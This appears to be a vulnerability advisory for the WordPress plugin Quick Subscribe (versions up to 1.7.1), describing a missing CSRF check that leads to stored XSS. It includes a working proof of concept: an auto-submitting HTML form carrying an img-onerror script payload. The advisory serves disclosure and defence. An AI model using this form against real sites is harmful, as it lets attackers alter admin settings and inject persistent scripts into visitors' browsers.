Lucene search

K
wpexploitDaniel RufWPEX-ID:44555C79-480D-4B6A-9FDA-988183C06909
HistoryMay 23, 2022 - 12:00 a.m.

Quick Subscribe <= 1.7.1 - Arbitrary Settings Update via CSRF to Stored XSS

2022-05-2300:00:00
Daniel Ruf
73

0.001 Low

EPSS

Percentile

21.3%

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and leading to Stored XSS due to the lack of sanitisation and escaping in some of them

<form id="test" action="https://example.com/wp-admin/options-general.php?page=quicksubscribe.php" method="POST">
    <input type="text" name="button_qs" value="1">
    <input type="text" name="label_qs" value='"><img src=x onerror=alert(/XSS/)>ok'>
    <input type="text" name="tks_qs" value="Thanks for subscribing">
    <input type="text" name="submit_qs" value="Update Settings Β»">
</form>
<script>
    document.getElementById("test").submit();
</script>

0.001 Low

EPSS

Percentile

21.3%

Related for WPEX-ID:44555C79-480D-4B6A-9FDA-988183C06909